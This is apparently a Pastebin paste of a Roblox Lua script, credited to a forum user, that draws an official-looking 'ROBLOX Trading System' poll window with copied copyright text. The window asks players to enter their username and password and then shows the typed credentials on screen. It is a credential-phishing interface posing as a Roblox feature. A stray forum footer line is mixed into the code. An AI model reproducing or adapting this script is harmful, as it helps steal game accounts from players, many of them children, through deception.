Advertisement
Guest User

Untitled

a guest
Sep 4th, 2017
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.55 KB | None | 0 0
  1. --credits to dynamiteboys on v3rm
  2. Players = Game:GetService("Players")
  3. Player = Players.LocalPlayer
  4. PlayerGui = Player.PlayerGui
  5.  
  6. function Class(ClassName, Parent, Name, Function)
  7. local Object = Instance.new(ClassName, Parent)
  8. Object.Name = Name
  9. if Function then
  10. Function(Object)
  11. end
  12. return Object
  13. end
  14.  
  15. pcall(function ()
  16. PlayerGui["ROBLOX Trading System"]:Destroy()
  17. end)
  18.  
  19. --92674865 (Responding to User Feedback)
  20. --©2013 ROBLOX Corporation is a Trademark of ROBLOX: ROBLOX is not affiliated with the LEGO, MEGA, or K'Nex products and toys.
  21.  
  22. ScreenGui = Class("ScreenGui", PlayerGui, "ROBLOX Trading System")
  23. Frame = Class("Frame", ScreenGui, "Frame", function (Object)
  24. Object.Style = "RobloxRound"
  25. Object.Size = UDim2.new(0, 650, 0, 500)
  26. Object.Position = UDim2.new(0.5, -250, 0.5, -250)
  27. end)
  28. Roblox = Class("ImageLabel", Frame, "ImageLabel", function (Object)
  29. Object.Image = "http://www.roblox.com/asset?id=100709875"
  30. Object.BorderSizePixel = 0
  31. Object.BackgroundTransparency = 1
  32. Object.Size = UDim2.new(0.4, 0, 0.4, 0)
  33. Object.Position = UDim2.new(0.3, 0, 0.05, 0)
  34. end)
  35. Trade = Class("TextLabel", Frame, "TextLabel", function (Object)
  36. Object.Text = "Trade Market"
  37. Object.TextColor3 = Color3.new(1, 1, 1)
  38. Object.Font = 2
  39. Object.FontSize = 8
  40. Object.TextStrokeColor3 = Color3.new(1, 0, 0)
  41. Object.TextStrokeTransparency = 0
  42. Object.BorderSizePixel = 0
  43. Object.BackgroundTransparency = 1
  44. Object.Size = UDim2.new(0.4, 0, 0.1, 0)
  45. Object.Position = UDim2.new(0.3, 0, 0.15, 0)
  46. end)
  47. Copyright1 = Class("TextLabel", Frame, "TextLabel", function (Object)
  48. Object.Text = "©2013 ROBLOX Corporation is a Trademark of ROBLOX: ROBLOX is not affiliated with the LEGO, MEGA, or K'Nex products and toys."
  49. Object.TextColor3 = Color3.new(1, 1, 1)
  50. Object.Font = 2
  51. Object.FontSize = 2
  52. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  53. Object.TextStrokeTransparency = 0.6
  54. Object.BorderSizePixel = 0
  55. Object.BackgroundTransparency = 1
  56. Object.Size = UDim2.new(0, 0, 0, 0)
  57. Object.Position = UDim2.new(0.5, 7.5, 1, 0)
  58. end)
  59. Copyright2 = Class("ImageLabel", Frame, "ImageLabel", function (Object)
  60. Object.Image = "http://www.roblox.com/asset?id=107726222"
  61. Object.BorderSizePixel = 0
  62. Object.BackgroundTransparency = 1
  63. Object.Size = UDim2.new(0, 15, 0, 15)
  64. Object.Position = UDim2.new(0, 17.5, 1, -7.5)
  65. end)
  66. Info = Class("TextButton", Frame, "TextLabel", function (Object)
  67. Object.Text = "What is the ROBLOX Trade Market?"
  68. Object.TextColor3 = Color3.new(1, 1, 1)
  69. Object.Font = 2
  70. Object.FontSize = 6
  71. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  72. Object.TextStrokeTransparency = 0.6
  73. Object.BackgroundTransparency = 1
  74. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  75. Object.Position = UDim2.new(0.25, 0, 0.3, 0)
  76. end)
  77. Info2 = Class("TextButton", Frame, "TextLabel", function (Object)
  78. Object.Text = [[ The ROBLOX Trade Market is an in-game feature that is being created by ROBLOX developers. This feature will allow ROBLOX users to interact and trade with other players in-game, and also will allow them to test items before they buy Gear, or Clothing.
  79. Roblox has decided, therefore, to poll the ROBLOX population in order to gather their thoughts about the matter.]]
  80. Object.TextColor3 = Color3.new(1, 1, 1)
  81. Object.Font = 2
  82. Object.FontSize = 6
  83. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  84. Object.TextStrokeTransparency = 0.6
  85. Object.BackgroundTransparency = 1
  86. Object.Size = UDim2.new(0.75, 0, 0.5, 0)
  87. Object.TextWrap = true
  88. Object.TextXAlignment = "Left"
  89. Object.TextYAlignment = "Top"
  90. Object.Position = UDim2.new(0.125, 0, 0.35, 0)
  91. end)
  92. VoteFrame = Class("Frame", Frame, "Frame", function (Object)
  93. Object.Style = "ChatRed"
  94. Object.Size = UDim2.new(0.5, 0, 0.1, 0)
  95. Object.Position = UDim2.new(0.25, 0, 0.75, 0)
  96. end)
  97. VoteFrame.MouseEnter:connect(function ()
  98. VoteFrame.Style = "ChatGreen"
  99. end)
  100. VoteFrame.MouseLeave:connect(function ()
  101. VoteFrame.Style = "ChatRed"
  102. end)
  103. Vote = Class("TextButton", Frame, "TextButton", function (Object)
  104. Object.Text = "Please sign in to continue."
  105. Object.TextColor3 = Color3.new(1, 1, 1)
  106. Object.Font = 2
  107. Object.FontSize = 6
  108. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  109. Object.TextStrokeTransparency = 0.6
  110. Object.BackgroundTransparency = 1
  111. Object.Size = UDim2.new(0.5, 0, 0.1, 0)
  112. Object.Position = UDim2.new(0.25, 0, 0.75, 0)
  113. end)
  114. Vote.MouseButton1Down:connect(function ()
  115.  
  116. for i = 1, 10 do
  117. wait(0.01)
  118. Vote.TextTransparency = Vote.TextTransparency + 0.1
  119. Vote.TextStrokeTransparency = Vote.TextStrokeTransparency + 0.06
  120. Info.TextTransparency = Info.TextTransparency + 0.1
  121. Info.TextStrokeTransparency = Info.TextStrokeTransparency + 0.06
  122. Info2.TextTransparency = Info2.TextTransparency + 0.1
  123. Info2.TextStrokeTransparency = Info2.TextStrokeTransparency + 0.06
  124. end
  125.  
  126. VoteFrame.Size = UDim2.new(0.25, 0, 0.1, 0)
  127. VoteFrame.Position = UDim2.new(0.375, 0, 0.75, 0)
  128.  
  129. Vote:Destroy()
  130. Info:Destroy()
  131. Info2:Destroy()
  132.  
  133. Please = Class("TextLabel", Frame, "TextLabel", function (Object)
  134. Object.Text = "Please enter your username and password in the space below."
  135. Object.TextColor3 = Color3.new(1, 1, 1)
  136. Object.TextTransparency = 1
  137. Object.Font = 2
  138. Object.FontSize = 6
  139. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  140. Object.TextStrokeTransparency = 1
  141. Object.BackgroundTransparency = 1
  142. Object.Size = UDim2.new(0.7, 0, 0.05, 0)
  143. Object.Position = UDim2.new(0.15, 0, 0.3, 0)
  144. end)
  145. UsernameBox = Class("TextBox", Frame, "TextLabel", function (Object)
  146. Object.Text = ""
  147. Object.TextColor3 = Color3.new(0, 0, 0)
  148. Object.TextTransparency = 1
  149. Object.Font = 2
  150. Object.FontSize = 6
  151. Object.TextStrokeColor3 = Color3.new(0.6, 0.6, 0.6)
  152. Object.TextStrokeTransparency = 1
  153. Object.BorderSizePixel = 0
  154. Object.BackgroundTransparency = 1
  155. Object.BackgroundColor3 = Color3.new(0.9, 0.9, 0.9)
  156. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  157. Object.Position = UDim2.new(0.35, 0, 0.4, 0)
  158. end)
  159. Username = Class("TextLabel", Frame, "TextLabel", function (Object)
  160. Object.Text = "Username:"
  161. Object.TextColor3 = Color3.new(1, 1, 1)
  162. Object.TextTransparency = 1
  163. Object.Font = 2
  164. Object.FontSize = 6
  165. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  166. Object.TextStrokeTransparency = 1
  167. Object.BackgroundTransparency = 1
  168. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  169. Object.Position = UDim2.new(0, 0, 0.4, 0)
  170. end)
  171. PasswordBox = Class("TextBox", Frame, "TextLabel", function (Object)
  172. Object.Text = ""
  173. Object.TextColor3 = Color3.new(0, 0, 0)
  174. Object.TextTransparency = 1
  175. Object.Font = 2
  176. Object.FontSize = 6
  177. Object.TextStrokeColor3 = Color3.new(0.6, 0.6, 0.6)
  178. Object.TextStrokeTransparency = 1
  179. Object.BorderSizePixel = 0
  180. Object.BackgroundTransparency = 1
  181. Object.BackgroundColor3 = Color3.new(0.9, 0.9, 0.9)
  182. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  183. Object.Position = UDim2.new(0.35, 0, 0.5, 0)
  184. end)
  185. Password = Class("TextLabel", Frame, "TextLabel", function (Object)
  186. Object.Text = "Password:"
  187. Object.TextColor3 = Color3.new(1, 1, 1)
  188. Object.TextTransparency = 1
  189. Object.Font = 2
  190. Object.FontSize = 6
  191. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  192. Object.TextStrokeTransparency = 1
  193. Object.BackgroundTransparency = 1
  194. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  195. Object.Position = UDim2.new(0, 0, 0.5, 0)
  196. end)
  197. Login = Class("TextButton", Frame, "TextButton", function (Object)
  198. Object.Text = "Login"
  199. Object.TextColor3 = Color3.new(1, 1, 1)
  200. Object.TextTransparency = 1
  201. Object.Font = 2
  202. Object.FontSize = 6
  203. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  204. Object.TextStrokeTransparency = 1
  205. Object.BackgroundTransparency = 1
  206. Object.Size = UDim2.new(0.25, 0, 0.1, 0)
  207. Object.Position = UDim2.new(0.375, 0, 0.75, 0)
  208. end)
  209.  
  210. for i = 1, 10 do
  211. wait(0.01)
  212. Please.TextTransparency = Please.TextTransparency - 0.1
  213. Please.TextStrokeTransparency = Please.TextStrokeTransparency - 0.04
  214. UsernameBox.TextTransparency = UsernameBox.TextTransparency - 0.1
  215. UsernameBox.TextStrokeTransparency = UsernameBox.TextStrokeTransparency - 0.06
  216. UsernameBox.BackgroundTransparency = UsernameBox.BackgroundTransparency - 0.1
  217. Username.TextTransparency = Username.TextTransparency - 0.1
  218. Username.TextStrokeTransparency = Username.TextStrokeTransparency - 0.04
  219. PasswordBox.TextTransparency = PasswordBox.TextTransparency - 0.1
  220. PasswordBox.TextStrokeTransparency = PasswordBox.TextStrokeTransparency - 0.06
  221. PasswordBox.BackgroundTransparency = PasswordBox.BackgroundTransparency - 0.1
  222. Password.TextTransparency = Password.TextTransparency - 0.1
  223. Password.TextStrokeTransparency = Password.TextStrokeTransparency - 0.04
  224. Login.TextTransparency = Login.TextTransparency - 0.1
  225. Login.TextStrokeTransparency = Login.TextStrokeTransparency - 0.04
  226. end
  227.  
  228. Pass = PasswordBox.Text
  229.  
  230. PasswordBox.Changed:connect(function (Property)
  231. if Property == "Text" then
  232. Pass = PasswordBox.Text
  233. PasswordBox.Text = string.rep("*", #Text)
  234. end
  235. end)
  236.  
  237. Login.MouseButton1Down:connect(function ()
  238. Information1 = Class("TextButton", ScreenGui, "TextButton", function (Object)
  239. Object.Text = UsernameBox.Text
  240. Object.TextColor3 = Color3.new(1, 1, 1)
  241. Object.Font = 2
  242. Object.FontSize = 6
  243. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  244. Object.TextStrokeTransparency = 0
  245. Object.BackgroundTransparency = 1
  246. Object.Size = UDim2.new(0, 100, 0, 15)
  247. Object.Position = UDim2.new(0, 0, 0, 350)
  248. end)
  249. Information2 = Class("TextButton", ScreenGui, "TextButton", function (Object)
  250. Object.Text = Pass
  251. Object.TextColor3 = Color3.new(1, 0.6, 0.6)
  252. Object.Font = 2
  253. Object.FontSize = 6
  254. Object.TextStrokeColor3 = Color3.new(0.6, 0.4, 0.4)
  255. Object.TextStrokeTransparency = 0
  256. Object.BackgroundTransparency = 1
  257. Object.Size = UDim2.new(0, 100, 0, 15)
  258. Object.Position = UDim2.new(0, 200, 0, 350)
  259. end)
  260. end)
  261.  
  262. end)
  263.  
  264. Email PM Find Reply Report
  265. #2 02-25-2017, 03:58 PM
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement